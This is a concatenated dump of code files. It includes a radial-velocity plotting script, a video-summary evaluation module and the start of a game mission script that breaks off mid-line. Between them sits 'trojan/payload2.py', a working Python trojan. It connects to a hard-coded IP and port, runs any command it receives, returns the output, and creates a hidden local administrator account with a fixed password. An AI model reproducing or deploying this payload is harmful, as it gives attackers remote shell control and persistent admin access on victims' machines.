assert status.getboolean('fit', 'run'), \\\n \"Must perform max-liklihood fit before plotting\"\n\n postpath = status.get('fit', 'postfile')\n postpath = os.path.join(\n args.outputdir, os.path.basename(postpath)\n )\n if not os.path.exists(postpath):\n raise FileNotFoundError(f'expected posterior file to exist, {post}')\n\n post = radvel.posterior.load(postpath)\n\n # from timmy.driver.soneoff_drivers, 99.7th percetile\n logk1_limit = 4.68726682\n post.params['logk1'] = radvel.Parameter(value=logk1_limit)\n post.params['k1'] = radvel.Parameter(value=np.exp(logk1_limit))\n\n for ptype in args.type:\n print(\"Creating {} plot for {}\".format(ptype, conf_base))\n\n if ptype == 'rv':\n args.plotkw['uparams'] = post.uparams\n saveto = os.path.join(\n args.outputdir,conf_base+'_rvlimit_multipanel.pdf'\n )\n P, _ = radvel.utils.initialize_posterior(config_file)\n if hasattr(P, 'bjd0'):\n args.plotkw['epoch'] = P.bjd0\n\n # import IPython; IPython.embed()\n # P.params (set logk1 to whatever...)\n # assert 0\n\n RVPlot = MultipanelPlot(\n post, saveplot=saveto, **args.plotkw\n )\n RVPlot.plot_multipanel()\n\n savestate = {'{}_plot'.format(ptype): os.path.relpath(saveto)}\n save_status(statfile, 'plot', savestate)\n\n\nclass MultipanelPlot(object):\n \"\"\"\n Class to handle the creation of RV multipanel plots.\n\n Args:\n post (radvel.Posterior): radvel.Posterior object. The model\n plotted will be generated from `post.params`\n epoch (int, optional): epoch to subtract off of all time measurements\n yscale_auto (bool, optional): Use matplotlib auto y-axis\n scaling (default: False)\n yscale_sigma (float, optional): Scale y-axis limits for all panels to be +/-\n yscale_sigma*(RMS of data plotted) if yscale_auto==False\n phase_nrows (int, optional): number of columns in the phase\n folded plots. Default is nplanets.\n phase_ncols (int, optional): number of columns in the phase\n folded plots. Default is 1.\n uparams (dict, optional): parameter uncertainties, must\n contain 'per', 'k', and 'e' keys.\n telfmts (dict, optional): dictionary of dictionaries mapping\n instrument suffix to plotting format code. Example:\n telfmts = {\n 'hires': dict(fmt='o',label='HIRES'),\n 'harps-n' dict(fmt='s')\n }\n legend (bool, optional): include legend on plot? Default: True.\n phase_limits (list, optional): two element list specifying\n pyplot.xlim bounds for phase-folded plots. Useful for\n partial orbits.\n nobin (bool, optional): If True do not show binned data on\n phase plots. Will default to True if total number of\n measurements is less then 20.\n phasetext_size (string, optional): fontsize for text in phase plots.\n Choice of {'xx-small', 'x-small', 'small', 'medium', 'large',\n 'x-large', 'xx-large'}. Default: 'x-small'.\n rv_phase_space (float, optional): amount of space to leave between orbit/residual plot\n and phase plots.\n figwidth (float, optional): width of the figures to be produced.\n Default: 7.5 (spans a page with 0.5 in margins)\n fit_linewidth (float, optional): linewidth to use for orbit model lines in phase-folded\n plots and residuals plots.\n set_xlim (list of float): limits to use for x-axes of the timeseries and residuals plots, in\n JD - `epoch`. Ex: [7000., 70005.]\n text_size (int): set matplotlib.rcParams['font.size'] (default: 9)\n highlight_last (bool): make the most recent measurement much larger in all panels\n show_rms (bool): show RMS of the residuals by instrument in the legend\n legend_kwargs (dict): dict of options to pass to legend (plotted in top panel)\n \"\"\"\n def __init__(self, post, saveplot=None, epoch=2450000, yscale_auto=False,\n yscale_sigma=3.0, phase_nrows=None, phase_ncols=None,\n uparams=None, telfmts={}, legend=True, phase_limits=[],\n nobin=False, phasetext_size='medium', rv_phase_space=0.08,\n figwidth=4.2, fit_linewidth=1.0, set_xlim=None, text_size=11,\n highlight_last=False, show_rms=False,\n legend_kwargs=dict(loc='best')):\n\n self.post = post\n self.saveplot = saveplot\n self.epoch = epoch\n self.yscale_auto = yscale_auto\n self.yscale_sigma = yscale_sigma\n if phase_ncols is None:\n self.phase_ncols = 1\n if phase_nrows is None:\n self.phase_nrows = self.post.likelihood.model.num_planets\n self.uparams = uparams\n self.rv_phase_space = rv_phase_space\n self.telfmts = telfmts\n self.legend = legend\n self.phase_limits = phase_limits\n self.nobin = nobin\n self.phasetext_size = phasetext_size\n self.figwidth = figwidth\n self.fit_linewidth = fit_linewidth\n self.set_xlim = set_xlim\n self.highlight_last = highlight_last\n self.show_rms = show_rms\n self.legend_kwargs = legend_kwargs\n rcParams['font.size'] = text_size\n\n if isinstance(self.post.likelihood, radvel.likelihood.CompositeLikelihood):\n self.like_list = self.post.likelihood.like_list\n else:\n self.like_list = [self.post.likelihood]\n\n # FIGURE PROVISIONING\n # self.ax_rv_height = self.figwidth * 0.6\n # self.ax_phase_height = self.ax_rv_height / 1.4\n self.ax_rv_height = self.figwidth * 0.5\n self.ax_phase_height = self.ax_rv_height\n\n # convert params to synth basis\n synthparams = self.post.params.basis.to_synth(self.post.params)\n self.post.params.update(synthparams)\n\n self.model = self.post.likelihood.model\n self.rvtimes = self.post.likelihood.x\n self.rverr = self.post.likelihood.errorbars()\n self.num_planets = self.model.num_planets\n\n self.rawresid = self.post.likelihood.residuals()\n\n self.resid = (\n self.rawresid + self.post.params['dvdt'].value*(self.rvtimes-self.model.time_base)\n + self.post.params['curv'].value*(self.rvtimes-self.model.time_base)**2\n )\n\n if self.saveplot is not None:\n resolution = 10000\n else:\n resolution = 2000\n\n periods = []\n for i in range(self.num_planets):\n periods.append(synthparams['per%d' % (i+1)].value)\n if len(periods) > 0:\n longp = max(periods)\n else:\n longp = max(self.post.likelihood.x) - min(self.post.likelihood.x)\n\n self.dt = max(self.rvtimes) - min(self.rvtimes)\n self.rvmodt = np.linspace(\n min(self.rvtimes) - 0.05 * self.dt, max(self.rvtimes) + 0.05 * self.dt + longp,\n int(resolution)\n )\n\n self.orbit_model = self.model(self.rvmodt)\n self.rvmod = self.model(self.rvtimes)\n\n if ((self.rvtimes - self.epoch) < -2.4e6).any():\n self.plttimes = self.rvtimes\n self.mplttimes = self.rvmodt\n elif self.epoch == 0:\n self.epoch = 2450000\n self.plttimes = self.rvtimes - self.epoch\n self.mplttimes = self.rvmodt - self.epoch\n else:\n self.plttimes = self.rvtimes - self.epoch\n self.mplttimes = self.rvmodt - self.epoch\n\n self.slope = (\n self.post.params['dvdt'].value * (self.rvmodt-self.model.time_base)\n + self.post.params['curv'].value * (self.rvmodt-self.model.time_base)**2\n )\n self.slope_low = (\n self.post.params['dvdt'].value * (self.rvtimes-self.model.time_base)\n + self.post.params['curv'].value * (self.rvtimes-self.model.time_base)**2\n )\n\n # list for Axes objects\n self.ax_list = []\n\n def plot_timeseries(self, ylim=(-510, 510)):\n \"\"\"\n Make a plot of the RV data and model in the current Axes.\n \"\"\"\n\n ax = plt.gca()\n\n ax.axhline(0, color='k', linestyle=':', linewidth=1)\n\n if self.show_rms:\n rms_values = dict()\n for like in self.like_list:\n inst = like.suffix\n rms = np.std(like.residuals())\n rms_values[inst] = rms\n else:\n rms_values = False\n\n # plot orbit model\n # ax.plot(self.mplttimes, self.orbit_model, 'b-', rasterized=False, lw=self.fit_linewidth)\n\n # plot data\n vels = self.rawresid+self.rvmod\n mtelplot(\n # data = residuals + model\n self.plttimes, vels, self.rverr, self.post.likelihood.telvec, ax, telfmts=self.telfmts,\n rms_values=rms_values\n )\n\n if self.set_xlim is not None:\n ax.set_xlim(self.set_xlim)\n else:\n ax.set_xlim(min(self.plttimes)-0.01*self.dt, max(self.plttimes)+0.01*self.dt)\n plt.setp(ax.get_xticklabels(), visible=False)\n\n if self.highlight_last:\n ind = np.argmax(self.plttimes)\n plt.plot(self.plttimes[ind], vels[ind], **plot.highlight_format)\n\n # legend\n if self.legend:\n ax.legend(numpoints=1, **self.legend_kwargs)\n\n # years on upper axis\n axyrs = ax.twiny()\n xl = np.array(list(ax.get_xlim())) + self.epoch\n decimalyear = Time(xl, format='jd', scale='utc').decimalyear\n axyrs.get_xaxis().get_major_formatter().set_useOffset(False)\n axyrs.set_xlim(*decimalyear)\n axyrs.set_xlabel('Year')\n plt.locator_params(axis='x', nbins=5)\n\n # if not self.yscale_auto:\n # scale = np.std(self.rawresid+self.rvmod)\n # ax.set_ylim(-self.yscale_sigma * scale, self.yscale_sigma * scale)\n\n if isinstance(ylim, tuple):\n ax.set_ylim(ylim)\n\n ax.set_ylabel('RV [{ms:}]'.format(**plot.latex))\n ax.set_xlabel('Time [JD - {:d}]'.format(int(np.round(self.epoch))))\n # ticks = ax.yaxis.get_majorticklocs()\n # ax.yaxis.set_ticks(ticks[1:])\n\n ax.get_yaxis().set_tick_params(which='both', direction='in')\n ax.get_xaxis().set_tick_params(which='both', direction='in')\n ax.tick_params(right=True, which='both', direction='in')\n axyrs.get_xaxis().set_tick_params(which='both', direction='in')\n\n def plot_residuals(self):\n \"\"\"\n Make a plot of residuals and RV trend in the current Axes.\n \"\"\"\n\n ax = plt.gca()\n\n ax.plot(self.mplttimes, self.slope, 'k-', lw=self.fit_linewidth)\n\n mtelplot(self.plttimes, self.resid, self.rverr, self.post.likelihood.telvec, ax, telfmts=self.telfmts)\n if not self.yscale_auto:\n scale = np.std(self.resid)\n ax.set_ylim(-self.yscale_sigma * scale, self.yscale_sigma * scale)\n\n if self.highlight_last:\n ind = np.argmax(self.plttimes)\n plt.plot(self.plttimes[ind], self.resid[ind], **plot.highlight_format)\n\n if self.set_xlim is not None:\n ax.set_xlim(self.set_xlim)\n else:\n ax.set_xlim(min(self.plttimes)-0.01*self.dt, max(self.plttimes)+0.01*self.dt)\n\n ##########################################\n # what would explain the Pdot from transits?\n period = 1.338231466*units.day\n Pdot_tra = -2.736e-10\n Pdot_err = 2**(1/2.)*2.83e-11 # inflating appropriately\n Pdot_tra_perr = Pdot_tra + Pdot_err\n Pdot_tra_merr = Pdot_tra - Pdot_err\n dvdt_tra = (Pdot_tra * const.c / period).to(\n (units.m/units.s)/units.day).value\n dvdt_tra_perr = (Pdot_tra_perr * const.c / period).to(\n (units.m/units.s)/units.day).value\n dvdt_tra_merr = (Pdot_tra_merr * const.c / period).to(\n (units.m/units.s)/units.day).value\n\n # model times are now an arrow band\n _mtimes = np.linspace(np.min(self.plttimes)+3500,\n np.min(self.plttimes)+4000, num=2000)\n _mbase = np.nanmedian(_mtimes)\n model_tra_line = dvdt_tra*(_mtimes-_mbase)\n model_tra_merr = dvdt_tra_merr*(_mtimes-_mbase)# + curv*(_times-time_base)**2\n model_tra_perr = dvdt_tra_perr*(_mtimes-_mbase)# + curv*(_times-time_base)**2\n\n yoffset = 35\n ax.plot(_mtimes, model_tra_line+yoffset,\n color='purple', zorder=-3, lw=0.5, ls='-', linewidth=self.fit_linewidth)\n #ax.fill_between(_mtimes, model_tra_merr+yoffset, model_tra_perr+yoffset,\n # color='purple', zorder=-4, alpha=0.9, lw=0)\n ax.text(0.92, 0.85, 'Slope = $c\\dot{P}/P$', va='top', ha='right',\n transform=ax.transAxes, color='purple', alpha=0.9,\n fontsize='large')\n\n ##########################################\n\n ticks = ax.yaxis.get_majorticklocs()\n ax.yaxis.set_ticks([ticks[0], 0.0, ticks[-1]])\n plt.xlabel('Time [JD - {:d}]'.format(int(np.round(self.epoch))))\n ax.set_ylabel('Residuals [{ms:}]'.format(**plot.latex))\n ax.yaxis.set_major_locator(MaxNLocator(5, prune='both'))\n\n ax.get_yaxis().set_tick_params(which='both', direction='in')\n ax.get_xaxis().set_tick_params(which='both', direction='in')\n ax.tick_params(right=True, which='both', direction='in')\n ax.tick_params(top=True, which='both', direction='in')\n\n\n def plot_phasefold(self, pltletter, pnum):\n \"\"\"\n Plot phased orbit plots for each planet in the fit.\n\n Args:\n pltletter (int): integer representation of\n letter to be printed in the corner of the first\n phase plot.\n Ex: ord(\"a\") gives 97, so the input should be 97.\n pnum (int): the number of the planet to be plotted. Must be\n the same as the number used to define a planet's\n Parameter objects (e.g. 'per1' is for planet #1)\n\n \"\"\"\n\n ax = plt.gca()\n\n if len(self.post.likelihood.x) < 20:\n self.nobin = True\n\n bin_fac = 1.75\n bin_markersize = bin_fac * rcParams['lines.markersize']\n bin_markeredgewidth = bin_fac * rcParams['lines.markeredgewidth']\n\n rvmod2 = self.model(self.rvmodt, planet_num=pnum) - self.slope\n modph = t_to_phase(self.post.params, self.rvmodt, pnum, cat=True) - 1\n rvdat = self.rawresid + self.model(self.rvtimes, planet_num=pnum) - self.slope_low\n phase = t_to_phase(self.post.params, self.rvtimes, pnum, cat=True) - 1\n rvdatcat = np.concatenate((rvdat, rvdat))\n rverrcat = np.concatenate((self.rverr, self.rverr))\n rvmod2cat = np.concatenate((rvmod2, rvmod2))\n bint, bindat, binerr = fastbin(phase+1, rvdatcat, nbins=25)\n bint -= 1.0\n\n ax.axhline(0, color='k', linestyle=':', linewidth=1)\n ax.plot(sorted(modph), rvmod2cat[np.argsort(modph)], 'k-', linewidth=self.fit_linewidth)\n #plot.labelfig(pltletter)\n\n telcat = np.concatenate((self.post.likelihood.telvec, self.post.likelihood.telvec))\n\n if self.highlight_last:\n ind = np.argmax(self.rvtimes)\n hphase = t_to_phase(self.post.params, self.rvtimes[ind], pnum, cat=False)\n if hphase > 0.5:\n hphase -= 1\n plt.plot(hphase, rvdatcat[ind], **plot.highlight_format)\n\n mtelplot(phase, rvdatcat, rverrcat, telcat, ax, telfmts=self.telfmts)\n if not self.nobin and len(rvdat) > 10:\n pass\n #ax.errorbar(\n # bint, bindat, yerr=binerr, fmt='ro', mec='w', ms=bin_markersize,\n # mew=bin_markeredgewidth\n #)\n\n if self.phase_limits:\n ax.set_xlim(self.phase_limits[0], self.phase_limits[1])\n else:\n ax.set_xlim(-0.5, 0.5)\n\n if not self.yscale_auto:\n scale = np.std(rvdatcat)\n ax.set_ylim(-self.yscale_sigma*scale, self.yscale_sigma*scale)\n ax.set_ylim((-510, 510))\n\n keys = [p+str(pnum) for p in ['per', 'k', 'e']]\n\n labels = [self.post.params.tex_labels().get(k, k) for k in keys]\n if pnum < self.num_planets:\n ticks = ax.yaxis.get_majorticklocs()\n ax.yaxis.set_ticks(ticks[1:-1])\n\n ax.set_ylabel('RV [{ms:}]'.format(**plot.latex))\n ax.set_xlabel('Phase')\n\n ax.get_yaxis().set_tick_params(which='both', direction='in')\n ax.get_xaxis().set_tick_params(which='both', direction='in')\n ax.tick_params(right=True, which='both', direction='in')\n ax.tick_params(top=True, which='both', direction='in')\n\n print_params = ['per', 'k', 'e']\n units = {'per': 'days', 'k': plot.latex['ms'], 'e': ''}\n\n anotext = []\n for l, p in enumerate(print_params):\n val = self.post.params[\"%s%d\" % (print_params[l], pnum)].value\n\n if self.uparams is None:\n _anotext = '$\\\\mathregular{%s}$ = %4.2f %s' % (labels[l].replace(\"$\", \"\"), val, units[p])\n else:\n if hasattr(self.post, 'medparams'):\n val = self.post.medparams[\"%s%d\" % (print_params[l], pnum)]\n else:\n print(\"WARNING: medparams attribute not found in \" +\n \"posterior object will annotate with \" +\n \"max-likelihood values and reported uncertainties \" +\n \"may not be appropriate.\")\n err = self.uparams[\"%s%d\" % (print_params[l], pnum)]\n if err > 1e-15:\n val, err, errlow = sigfig(val, err)\n _anotext = '$\\\\mathregular{%s}$ = %s $\\\\mathregular{\\\\pm}$ %s %s' \\\n % (labels[l].replace(\"$\", \"\"), val, err, units[p])\n else:\n _anotext = '$\\\\mathregular{%s}$ = %4.2f %s' % (labels[l].replace(\"$\", \"\"), val, units[p])\n\n anotext += [_anotext]\n\n #anotext = '\\n'.join(anotext)\n anotext = anotext[1] # just the semi-amplitude\n logk1_limit = 4.68726682\n #anotext = (\n # f'K < {np.exp(logk1_limit):.1f}' +' m$\\,$s$^{-1}$ (3$\\sigma$)\\n'\n # '$M_{\\mathrm{p}} \\sin i < 1.20\\,M_{\\mathrm{Jup}}$'\n #)\n anotext = (\n #f'K < {np.exp(logk1_limit):.1f}' +' m$\\,$s$^{-1}$ (3$\\sigma$)\\n'\n '$M_{\\mathrm{p}} \\sin i < 1.20\\,M_{\\mathrm{Jup}}\\ (3\\sigma)$'\n )\n\n add_anchored(\n anotext, loc='lower left', frameon=True, prop=dict(size=self.phasetext_size),\n bbox=dict(ec='none', fc='w', alpha=0.8)\n )\n\n\n def plot_multipanel(self, nophase=False, letter_labels=False):\n \"\"\"\n Provision and plot an RV multipanel plot\n\n Args:\n nophase (bool, optional): if True, don't\n include phase plots. Default: False.\n letter_labels (bool, optional): if True, include\n letter labels on orbit and residual plots.\n Default: True.\n\n Returns:\n tuple containing:\n - current matplotlib Figure object\n - list of Axes objects\n \"\"\"\n\n if nophase:\n scalefactor = 1\n else:\n scalefactor = self.phase_nrows\n\n figheight = self.ax_rv_height + self.ax_phase_height * scalefactor\n\n # provision figure\n fig = plt.figure(figsize=(self.figwidth, figheight+1.0))\n\n fig.subplots_adjust(left=0.12, right=0.95)\n gs_rv = gridspec.GridSpec(1, 1, height_ratios=[1.])\n\n divide = 1 - self.ax_rv_height / figheight\n gs_rv.update(left=0.12, right=0.93, top=0.93,\n bottom=divide+self.rv_phase_space*0.5, hspace=0.)\n\n # orbit plot\n ax_rv = plt.subplot(gs_rv[0, 0])\n self.ax_list += [ax_rv]\n\n plt.sca(ax_rv)\n self.plot_timeseries()\n pltletter = ord('a')\n if letter_labels:\n plot.labelfig(pltletter)\n pltletter += 1\n\n # # residuals\n # ax_resid = plt.subplot(gs_rv[1, 0])\n # self.ax_list += [ax_resid]\n\n # plt.sca(ax_resid)\n # self.plot_residuals()\n # if letter_labels:\n # plot.labelfig(pltletter)\n # pltletter += 1\n\n # phase-folded plots\n if not nophase:\n gs_phase = gridspec.GridSpec(self.phase_nrows, self.phase_ncols)\n\n if self.phase_ncols == 1:\n gs_phase.update(left=0.12, right=0.93,\n top=divide - self.rv_phase_space * 0.5,\n bottom=0.07, hspace=0.003)\n else:\n gs_phase.update(left=0.12, right=0.93,\n top=divide - self.rv_phase_space * 0.5,\n bottom=0.07, hspace=0.25, wspace=0.25)\n\n for i in range(self.num_planets):\n i_row = int(i / self.phase_ncols)\n i_col = int(i - i_row * self.phase_ncols)\n ax_phase = plt.subplot(gs_phase[i_row, i_col])\n self.ax_list += [ax_phase]\n\n plt.sca(ax_phase)\n self.plot_phasefold(pltletter, i+1)\n pltletter += 1\n\n if self.saveplot is not None:\n fig.tight_layout(w_pad=2, h_pad=2)\n plt.savefig(self.saveplot, dpi=150, bbox_inches='tight')\n print(\"RV multi-panel plot saved to %s\" % self.saveplot)\n\n return fig, self.ax_list\n\n\ndef telplot(x, y, e, tel, ax, lw=1., telfmt={}, rms=0):\n \"\"\"Plot data from from a single telescope\n\n x (array): Either time or phase\n y (array): RV\n e (array): RV error\n tel (string): telecsope string key\n ax (matplotlib.axes.Axes): current Axes object\n lw (float): line-width for error bars\n telfmt (dict): dictionary corresponding to kwargs\n passed to errorbar. Example:\n\n telfmt = dict(fmt='o',label='HIRES',color='red')\n \"\"\"\n\n # Default formatting\n kw = dict(\n fmt='o', capsize=0, mew=0,\n ecolor='0.6', lw=lw, color='orange',\n )\n\n # If not explicit format set, look among default formats\n if not telfmt and tel in telfmts_default:\n telfmt = telfmts_default[tel]\n\n for k in telfmt:\n kw[k] = telfmt[k]\n\n if not 'label' in kw.keys():\n if tel in telfmts_default:\n kw['label'] = telfmts_default[tel]['label']\n else:\n kw['label'] = tel\n\n if rms:\n kw['label'] += '\\nRMS={:.2f} {:s}'.format(rms, latex['ms'])\n\n plt.errorbar(x, y, yerr=e, **kw)\n\n\ndef mtelplot(x, y, e, tel, ax, lw=1., telfmts={}, **kwargs):\n \"\"\"\n Overplot data from from multiple telescopes.\n\n x (array): Either time or phase\n y (array): RV\n e (array): RV error\n tel (array): array of telecsope string keys\n ax (matplotlib.axes.Axes): current Axes object\n telfmts (dict): dictionary of dictionaries corresponding to kwargs\n passed to errorbar. Example:\n\n telfmts = {\n 'hires': dict(fmt='o',label='HIRES'),\n 'harps-n' dict(fmt='s')\n }\n \"\"\"\n\n rms_values = kwargs.pop('rms_values', False)\n\n utel = np.unique(tel)\n\n ci = 0\n for t in utel:\n xt = x[tel == t]\n yt = y[tel == t]\n et = e[tel == t]\n\n telfmt = {}\n\n if t in telfmts:\n telfmt = telfmts[t]\n if 'color' not in telfmt:\n telfmt['color'] = default_colors[ci]\n ci +=1\n elif t not in telfmts and t not in telfmts_default:\n telfmt = dict(color=default_colors[ci])\n ci +=1\n else:\n telfmt = {}\n\n if rms_values:\n rms = rms_values[t]\n else:\n rms = 0\n\n telplot(xt, yt, et, t, ax, lw=1., telfmt=telfmt, rms=rms)\n\n ax.yaxis.set_major_formatter(\n matplotlib.ticker.ScalarFormatter(useOffset=False)\n )\n ax.xaxis.set_major_formatter(\n matplotlib.ticker.ScalarFormatter(useOffset=False)\n )\n\n\ndef add_anchored(*args, **kwargs):\n \"\"\"\n Add text at a particular location in the current Axes\n\n Args:\n s (string): text\n loc (string): location code\n pad (float [optional]): pad between the text and the frame\n as fraction of the font size\n borderpad (float [optional]): pad between the frame and the axes (or *bbox_to_anchor*)\n prop (matplotlib.font_manager.FontProperties): font properties\n \"\"\"\n\n bbox = {}\n if 'bbox' in kwargs:\n bbox = kwargs.pop('bbox')\n at = AnchoredText(*args, **kwargs)\n if len(bbox.keys()) > 0:\n plt.setp(at.patch, **bbox)\n\n ax = plt.gca()\n ax.add_artist(at)\n\n\ndef plot_rvs():\n\n setupfn = \"/home/luke/Dropbox/proj/timmy/drivers/radvel_drivers/TOI837.py\"\n outputdir = \"/home/luke/Dropbox/proj/timmy/results/radvel_fitting/20200624_simple_planet\"\n\n if not os.path.exists(outputdir):\n os.mkdir(outputdir)\n\n args = args_object(setupfn, outputdir)\n\n # plot the upper limit (99.7th pctile) fit, which has already been\n # performed in 20200624_simple_planet\n args.type = ['rv']\n limit_plots(args) # pulled from radvel.driver.plots\n\n\nif __name__ == \"__main__\":\n plot_rvs()\n","sub_path":"drivers/plot_rvs.py","file_name":"plot_rvs.py","file_ext":"py","file_size_in_byte":28533,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"268849648","text":"##\n# SIMPLE PAYLOAD FOR TROJAN PYTHON \n#@author - Jerome Themee - security analyst \n#@date - 16/07/2015\n##\nimport socket\nimport subprocess\n\n# target\ntarget_host = \"10.94.71.26\"\ntarget_port = 9004\nlocalIp = socket.gethostbyname(socket.gethostname())\n\n# create the socket object with python\nclient = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\nclient.connect((target_host,target_port))\n\n#run command function\ndef run_command(cmd):\n '''given shell command, returns communication tuple of stdout and stderr'''\n return subprocess.Popen(cmd,\n stdout=subprocess.PIPE, \n stderr=subprocess.PIPE, \n stdin=subprocess.PIPE).communicate()\n\n\nwhile 1 :\n\n response = client.recv(4096)\n\n if response==\"1\":\n outputCommand = run_command(\"ipconfig\")[0]\n client.send(outputCommand)\n\n elif response == \"2\":\n outputCommand = run_command(\"net user kali Azerty123456 /add\")[0]\n outputCommand = run_command(\"net localgroup administrateurs kali /add\")[0]\n client.send(\"Compte cree kali Azerty123456 \")\n\n elif response == \"3\":\n outputCommand = run_command(\"powershell.exe -command Invoke-WebResquest https\")[0]\n client.send(\"Compte cree kali Azerty123456 \")\n\n elif response == \"4\":\n outputCommand = run_command(\"net user kali Azerty123456 /add\")[0]\n outputCommand = run_command(\"net localgroup administrateurs kali /add\")[0]\n client.send(\"Compte cree kali Azerty123456 \")\n\n else :\n outputCommand = run_command(response)[0]\n client.send(outputCommand)\n\n\n","sub_path":"trojan/payload2.py","file_name":"payload2.py","file_ext":"py","file_size_in_byte":1621,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"284461035","text":"import torch\n\nimport numpy as np\nfrom scipy import interpolate\n\nfrom knapsack_solver import knapsack\n\nfrom scipy.stats import kendalltau, spearmanr\nfrom scipy.stats import rankdata\n\nfrom sklearn.metrics import precision_recall_fscore_support\n\nimport sys\n\ndef eval_metrics(y_pred, y_true):\n precision, recall, fscore, _ = precision_recall_fscore_support(y_true, y_pred, average='binary', zero_division=0)\n return precision, recall, fscore\n\n\ndef select_keyshots(video_info, pred_score, inter_method = \"upsample\"):\n \"\"\"\n input:\n video_info: specific video of *.h5 file\n pred_score: [320] key frame score in every frames\n \"\"\"\n\n N = video_info['length'][()] # scalar, video original length\n cps = video_info['change_points'][()] # shape [n_segments,2], stores begin and end of each segment in original length index\n\n pred_score = pred_score.to(\"cpu\").detach().numpy() # GPU->CPU, requires_grad=False, to numpy\n \n if inter_method == \"upsample\":\n pred_score = upsample(pred_score, N)\n elif inter_method == \"cut\":\n pred_score = cut(pred_score, N)\n\n pred_score_key_frames = (pred_score > 0.5) # convert to key frames\n\n value = np.array([pred_score_key_frames[cp[0]:(cp[1])].mean() for cp in cps]) # [n_segments]\n # weight = video_info['n_frame_per_seg'][()] # shape [n_segments], number of frames in each segment\n weight = np.ones((cps.shape[0]), dtype=int)\n\n _, selected = knapsack(list(zip(value, weight)), 2) \n # _, selected = knapsack(list(zip(value, weight)), int(0.15*N)) # selected -> [66, 64, 51, 50, 44, 41, 40, 38, 34, 33, 31, 25, 24, 23, 20, 10, 9]\n selected = selected[::-1] # inverse the selected list, which seg is selected\n key_shots = np.zeros(shape=(N, ))\n for i in selected:\n key_shots[cps[i][0]:(cps[i][1])] = 1 # assign 1 to seg\n \n return pred_score.tolist(), key_shots\n\ndef upsample(pred_score, N):\n \"\"\"\n Use Nearest Neighbor to extend from 320 to N\n input: \n pred_score: shape [320], indicates key frame prob.\n N: scalar, video original length\n output\n up_arr: shape [N]\n \"\"\"\n x = np.linspace(0, len(pred_score)-1, len(pred_score))\n f = interpolate.interp1d(x, pred_score, kind='nearest')\n x_new = np.linspace(0, len(pred_score)-1, N); #print(x_new, N)\n up_arr = f(x_new)\n\n return up_arr\n\ndef cut(arr, N):\n return arr[:N]\n\ndef rankcorrelation_kendall(y_pred, y_true):\n return kendalltau(rankdata(-y_true), rankdata(-y_pred))[0]\n\ndef rankcorrelation_spearman(y_pred, y_true):\n return spearmanr(y_true, y_pred)\n\n\nif __name__ == \"__main__\":\n device = torch.device(\"cuda:0\")\n\n import h5py\n data_file = h5py.File(\"datasets/fcsn_tvsum.h5\")\n video_info = data_file[\"video_1\"]\n pred_score = torch.randn((320,), requires_grad=True)\n pred_score = pred_score.to(device)\n select_keyshots(video_info, pred_score)\n","sub_path":"eval_tools.py","file_name":"eval_tools.py","file_ext":"py","file_size_in_byte":2899,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"142350114","text":"###############################################################################\n# Episode2.py\n#\n# Episode level script. Holds variables and functions global to Episode\n#\n# Created 11-13-00\tJess VanDerwalker\n###############################################################################\nimport App\nimport MissionLib\n\n# For debugging\n#kDebugObj = App.CPyDebug()\n\n\n# Declare global variables\nTRUE\t= 1\nFALSE\t= 0\n\ng_bKaroonDestroyed = None\n\n################################################################################\n##\tInitialize()\n##\t\n## Called once when episode loads to initialize episode\n##\t\n##\tArgs: \tpEpisode\t- The episode object\n##\t\n##\tReturn: None\n################################################################################\ndef Initialize(pEpisode):\n\tApp.g_kUtopiaModule.LoadEpisodeSounds(\"Episode 2\")\n\n\t\"Called Initialize and activate an Episode\"\t\n\t\n\t# Initialize our global variables\n\tglobal g_bKaroonDestroyed\n\tg_bKaroonDestroyed = FALSE\n\t\n\t# Set our Episode level TGL\n\tpEpisode.SetDatabase(\"data/TGL/Maelstrom/Episode 2/Episode2.tgl\")\n\t\n\t#\n\t# Setup music for this episode.\n\t#\n\tSetupMusic()\n\n\t#\n\t# Start in the default mission of this episode.\n\t#\n\tpMissionStartEvent = App.TGEvent_Create()\n\tpMissionStartEvent.SetEventType(App.ET_MISSION_START)\n\tpMissionStartEvent.SetDestination(pEpisode)\n\n\t# Start in the default mission of this episode.\n\t# Check if there is a mission override, and if so, then\n\t# use it.\n\tpcOverride = App.g_kVarManager.GetStringVariable(\"Options\", \"MissionOverride\")\n\n\tif (pcOverride != \"\"):\n\t\tpEpisode.LoadMission(\"Maelstrom.Episode2.\" + pcOverride + \".\" + pcOverride, pMissionStartEvent)\n\t\tApp.g_kVarManager.SetStringVariable(\"Options\", \"MissionOverride\", \"\")\n\telse:\n\t\tpEpisode.LoadMission(\"Maelstrom.Episode2.E2M0.E2M0\", pMissionStartEvent)\n\t\n################################################################################\n##\tE2M1KrellSOS()\n##\n##\tCreates the sets, play the SOS from the Krell.\n##\n##\tArgs:\tNone\n##\n##\tReturn:\tNone\n################################################################################\ndef E2M1KrellSOS():\n#\tkDebugObj.Print(\"E2M1 Krell SOS sequence.\")\n\t# Create the Cardassian bridge\n\tpCardSet = MissionLib.SetupBridgeSet(\"CardSet\", \"data/Models/Sets/Cardassian/cardbridge.nif\", -30, 65, -1.55)\n\tpCardCapt = MissionLib.SetupCharacter(\"Bridge.Characters.CardCapt\", \"CardSet\")\n\tpCardCapt.SetHidden(1)\n\n\t\n\tpMission = MissionLib.GetMission()\n\tif (pMission == None):\n\t\treturn\n\tpMissionDatabase = pMission.SetDatabase(\"data/TGL/Maelstrom/Episode 2/E2M1.TGL\")\n\t\n\t# Do the SOS sequence.\n\tpSequence = App.TGSequence_Create()\n\t\n\tpBridge\t\t= App.g_kSetManager.GetSet(\"bridge\")\n\tpCardSet\t= App.g_kSetManager.GetSet(\"CardSet\")\n\t\n\tpSaffi\t\t= App.CharacterClass_GetObject(pBridge, \"XO\")\n\tpKiska\t\t= App.CharacterClass_GetObject(pBridge, \"Helm\")\n\tpCardCapt\t= App.CharacterClass_GetObject(pCardSet, \"CardCapt\")\n\t\n\tpKiskaSOS1\t\t= App.CharacterAction_Create(pKiska, App.CharacterAction.AT_SAY_LINE, \"E2M1SOS1\", None, 0, pMissionDatabase)\n\tpKiskaSOS2\t\t= App.CharacterAction_Create(pKiska, App.CharacterAction.AT_SAY_LINE, \"E2M1SOS2\", None, 0, pMissionDatabase)\n\tpKiskaSOS3\t\t= 